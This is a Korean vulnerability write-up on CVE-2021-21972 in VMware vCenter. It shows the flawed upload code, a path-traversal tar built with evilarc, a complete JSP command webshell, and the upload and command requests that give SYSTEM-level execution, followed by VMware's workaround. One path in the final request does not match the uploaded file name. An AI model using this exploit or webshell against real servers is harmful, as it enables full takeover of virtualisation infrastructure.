
[CVE-2021-21972] VMware vSphere Client 비인가 파일 업로드를 통한 원격 코드 실행 (RCE)
[CVE-2021-21972] VMware vSphere Client 무단 파일 업로드를 통한 원격 코드 실행 (RCE)
vSphere Web Client(HTML5)는 본질적으로 vSphere 설치를 관리할 수 있는 관리 인터페이스입니다. vSphere Client는 관리자가 vSphere 서버에 직접 액세스하지 않고도 vSphere의 핵심 기능에 액세스할 수 있게 해줍니다. 관리자는 새 가상 머신을 생성하고 기존 가상 머신 및 해당 리소스를 관리할 수 있습니다. 크로스 플랫폼 웹 애플리케이션으로서 지원되는 다양한 웹 브라우저 버전을 통해 모든 지원 운영 체제에서 사용할 수 있습니다.
CVE-2021-21972는 vCenter Server의 무단 파일 업로드 취약점으로, 원격 서버에서 원격 코드 실행으로 이어집니다. 이 문제는 vRealize Operations vCenter Plugin의 인증 부재에서 비롯되었습니다. CVSSv3 기준 10.0점 만점에 9.8점의 치명적인 점수를 받았습니다. 인증되지 않은 원격 공격자는 공개적으로 액세스 가능한 취약한 vCenter Server 엔드포인트에 특수하게 제작된 파일을 업로드하여 이 취약점을 악용할 수 있습니다. VMware vCenter Server 버전 6.5, 6.7 및 7.0이 이 취약점의 영향을 받습니다. 이 취약점을 성공적으로 악용하면 공격자는 vCenter Server의 기본 운영 체제에서 제한 없는 원격 코드 실행(RCE) 권한을 획득하게 됩니다. 이 취약점이 vRealize Operations vCenter Plugin에서 비롯되었음에도 불구하고, VMware 권고는 이 플러그인이 vCenter Server의 모든 기본 설치에 포함되어 있음을 확인합니다. 즉, vRealize Operations의 존재 여부와 관계없이 취약한 엔드포인트를 사용할 수 있습니다.
원본 블로그 게시물 여기에서 취약점 발견 과정과 RCE를 달성하는 두 가지 별도 경로가 가능한 한 자세히 설명되어 있습니다. Windows 시스템의 경우 공격자는 특수하게 제작된 .jsp 파일을 업로드하여 기본 운영 체제에서 NT AUTHORITY\SYSTEM 권한을 획득할 수 있습니다. Linux 시스템의 경우 공격자는 공개 키를 생성하여 서버의 authorized_keys 경로에 업로드한 다음 SSH를 통해 취약한 서버에 연결하여 vsphere-ui 사용자 권한을 획득해야 합니다. (SSH 서비스가 실행 중이고 네트워크를 통해 액세스 가능한 경우)
vropsplugin-service.jar는 vropspluginui 플러그인의 Java 아카이브 파일이며 일부 클래스와 기타 관련 함수 및 메서드를 포함합니다. 취약한 코드 부분은 아래와 같습니다. 이 코드 조각은 vropsplugin-service.jar의 컨트롤러에 있는 ServicesController.class에 속합니다. 아래 코드 조각에서 볼 수 있듯이 uploadOvaFile 함수는 /ui/vropspluginui/rest/services/uploadova 엔드포인트/URL을 담당합니다.
취약한 클래스의 전체 경로: vropsplugin-service\com\vmware\vropspluginui\mvc\ServicesController.class
@RequestMapping(value = {"/uploadova"}, method = {RequestMethod.POST})
public void uploadOvaFile(@RequestParam(value = "uploadFile", required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
logger.info("Entering uploadOvaFile api");
int code = uploadFile.isEmpty() ? 400 : 200;
PrintWriter wr = null;
try {
if (code != 200) {
response.sendError(code, "Arguments Missing");
return;
}
wr = response.getWriter();
} catch (IOException e) {
e.printStackTrace();
logger.info("upload Ova Controller Ended With Error");
}
response.setStatus(code);
String returnStatus = "SUCCESS";
if (!uploadFile.isEmpty())
try {
logger.info("Downloading OVA file has been started");
logger.info("Size of the file received : " + uploadFile.getSize());
InputStream inputStream = uploadFile.getInputStream();
File dir = new File("/tmp/unicorn_ova_dir");
if (!dir.exists()) {
dir.mkdirs();
} else {
String[] entries = dir.list();
for (String str : entries) {
File currentFile = new File(dir.getPath(), str);
currentFile.delete();
}
logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
}
TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
TarArchiveEntry entry = in.getNextTarEntry();
List<String> result = new ArrayList<String>();
while (entry != null) {
if (entry.isDirectory()) {
entry = in.getNextTarEntry();
continue;
}
File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
File parent = curfile.getParentFile();
if (!parent.exists())
parent.mkdirs();
OutputStream out = new FileOutputStream(curfile);
IOUtils.copy((InputStream)in, out);
out.close();
result.add(entry.getName());
entry = in.getNextTarEntry();
}
in.close();
logger.info("Successfully deployed File at Location :/tmp/unicorn_ova_dir");
} catch (Exception e) {
logger.error("Unable to upload OVA file :" + e);
returnStatus = "FAILED";
}
wr.write(returnStatus);
wr.flush();
wr.close();
}
공격자 관점에서 이 클래스의 핸들러는 다음 작업을 수행합니다.
uploadFile 매개변수 수신 (2행)uploadFile 매개변수를 읽고 이 매개변수의 내용을 inputStream 변수에 기록 (22행)/tmp/unicorn_ova_dir + entry.getName()을 사용하여 각 현재 항목의 복사본을 디스크에 생성 (42행 및 47행)개념 증명(PoC): 이 취약점을 악용하려면 다음 단계를 사용할 수 있습니다.
../../ 문자열을 포함하는 .tar 아카이브 항목 생성/statsreport/uploadedFileName.jsp 호출취약점을 확인하려면 다음 요청을 사용할 수 있습니다.
GET /ui/vropspluginui/rest/services/getstatus HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
위 요청에 대한 응답이 아래 응답과 유사하면 원격 호스트가 CVE-2021-21972에 취약하다는 의미입니다.
HTTP/1.1 200
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=35CB9D3F277D6B8413F099F93FB3A5CE; Path=/ui; Secure; HttpOnly
Content-Type: text/plain;charset=ISO-8859-1
Content-Length: 141
Date: Tue, 06 Apr 2021 14:32:30 GMT
Connection: close
Server: Anonymous
{"States":"[]","Install Progress":"UNKNOWN","Config Progress":"UNKNOWN","Config Final Progress":"UNKNOWN","Install Final Progress":"UNKNOWN"}
HTTP/1.0 200 OK
strict-transport-security: max-age=30758400;includeSubDomains
x-xss-protection: 1; mode=block
set-cookie: VSPHERE-UI-JSESSIONID=3D8FE882F9BD3DD1C66C10DFD00022C9; Path=/ui; Secure; HttpOnly
content-type: text/plain;charset=ISO-8859-1
content-length: 374
date: Tue, 06 Apr 2021 14:33:22 GMT
server: envoy
x-envoy-upstream-service-time: 1
connection: close
{"States":"[OVF_DEPLOY_START, OVF_DEPLOY_IN_PROGRESS, OVF_DEPLOY_SUCCESS, VROPS_CONFIGURATION_START, VROPS_CONFIGURE_MASTER_START, VROPS_INIT_CLUSTER_START, VROPS_INIT_CLUSTER_ERROR, VROPS_CONFIGURATION_SUCCESS]","Install Progress":"UNKNOWN","Config Progress":"VROPS_CONFIGURATION_SUCCESS","Config Final Progress":"CONFIGURE_VROPS_FAILED","Install Final Progress":"UNKNOWN"}
그 후 제작된 .tar 파일을 만들어야 합니다. 이를 위해 evilarc를 사용할 수 있습니다. Evilarc는 포함된 경로에 디렉터리 트래버설 문자가 포함된 파일이 들어 있는 zip 파일을 생성할 수 있는 기본적인 Python 스크립트입니다.
기본적으로 웹셸인 cmdjsp.jsp의 내용
<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre>
<%=output %>
</pre>
다음 명령을 사용하여 제작된 .tar 아카이브 파일이 생성됩니다.
> python evilarc.py -d 5 -p 'ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport' -o win -f winexpl3.tar cmdjsp.jsp
Creating winexpl3.tar containing ..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp
> cat winexpl3.tar
././@LongLink0000000000000000000000000000015300000000000011214 Lustar 00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre>
<%=output %>
</pre>
그런 다음 다음 요청을 사용하여 .tar 파일을 서버에 업로드하기만 하면 됩니다.
POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1
Host: vulnerablehost
Connection: close
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Length: 1200
------WebKitFormBoundaryH8GoragzRFVTw1VD
Content-Disposition: form-data; name="uploadFile"; filename="a.ova"
Content-Type: text/plain
././@LongLink0000000000000000000000000000015300000000000011214 Lustar 00000000000000..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdjsp.jsp..\..\..\..\..\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\cmdj0000644000076500000240000000115314033072161034302 0ustar muratstaff00000000000000<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<pre>
<%=output %>
</pre>
------WebKitFormBoundaryH8GoragzRFVTw1VD--
위 요청에 대한 응답은 아래와 같습니다.
HTTP/1.1 200
Strict-Transport-Security: max-age=30758400;includeSubDomains
X-XSS-Protection: 1; mode=block
Set-Cookie: VSPHERE-UI-JSESSIONID=80343ED805CE2BCCE497958D3AC9D164; Path=/ui; Secure; HttpOnly
Date: Tue, 06 Apr 2021 15:06:56 GMT
Connection: close
Server: Anonymous
Content-Length: 7
SUCCESS
위 요청의 응답 상태 코드가 200 OK이고 본문이 SUCCESS이면 .tar 아카이브 파일이 ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport 경로에 성공적으로 업로드된 것입니다. 애플리케이션의 흐름에 따라 서버는 .tar 파일을 /statsreport 디렉터리에 추출합니다. 이 단계 이후에는 NT AUTHORITY\SYSTEM 권한으로 원격 코드 실행을 위해 다음 GET 요청만 수행하면 됩니다.
GET /statreport/cmd.jsp?cmd=whoami HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
해결 방법(Workaround): VMware는 7.0 U1c, 6.7 U3l 및 6.5 U3n 버전에서 이 취약점을 각각 수정했습니다. 그러나 패치를 설치할 수 없는 경우 Windows 기반 vCenter Server 배포에서 CVE-2021-21972 및 CVE-2021-21973에 대한 해결 방법을 구현하려면 다음 단계를 수행하십시오:
C:\ProgramData\VMware\vCenterServer\cfg\vsphere-ui\compatibility-matrix.xmlcompatibility-matrix.xml 파일을 엽니다.pluginsCompatibility 요소에 다음 줄을 추가합니다: <PluginPackage id="com.vmware.vrops.install" status="incompatible"/>C:\Program Files\VMware\vCenter Server\bin> service-control --stop vsphere-ui
C:\Program Files\VMware\vCenter Server\bin> service-control --start vsphere-ui
Administration > Solutions > client-plugins 아래에서 "incompatible"(호환되지 않음)로 표시됩니다.Linux 기반 가상 어플라이언스(vCSA)에서 CVE-2021-21972 및 CVE-2021-21973에 대한 해결 방법을 구현하려면 다음 단계를 수행하십시오:
/etc/vmware/vsphere-ui/compatibility-matrix.xmlcompatibility-matrix.xml 파일을 엽니다.pluginsCompatibility 요소에 다음 줄을 추가합니다: <PluginPackage id="com.vmware.vrops.install" status="incompatible"/>> service-control --stop vsphere-ui
> service-control --start vsphere-ui
이 취약점은 Positive Technologies의 Mikhail Klyuchnikov에 의해 발견되었으며, 원본 연구 게시물은 여기에서 확인할 수 있습니다.
자세한 내용은 다음 페이지를 방문하십시오.
https://www.vmware.com/security/advisories/VMSA-2021-0002.html
https://kb.vmware.com/s/article/82374
https://docs.vmware.com/en/VMware-vSphere/7.0/rn/vsphere-vcenter-server-70u1c-release-notes.html
https://docs.vmware.com/en/VMware-vSphere/6.7/rn/vsphere-vcenter-server-67u3l-release-notes.html
https://docs.vmware.com/en/VMware-vSphere/6.5/rn/vsphere-vcenter-server-65u3n-release-notes.html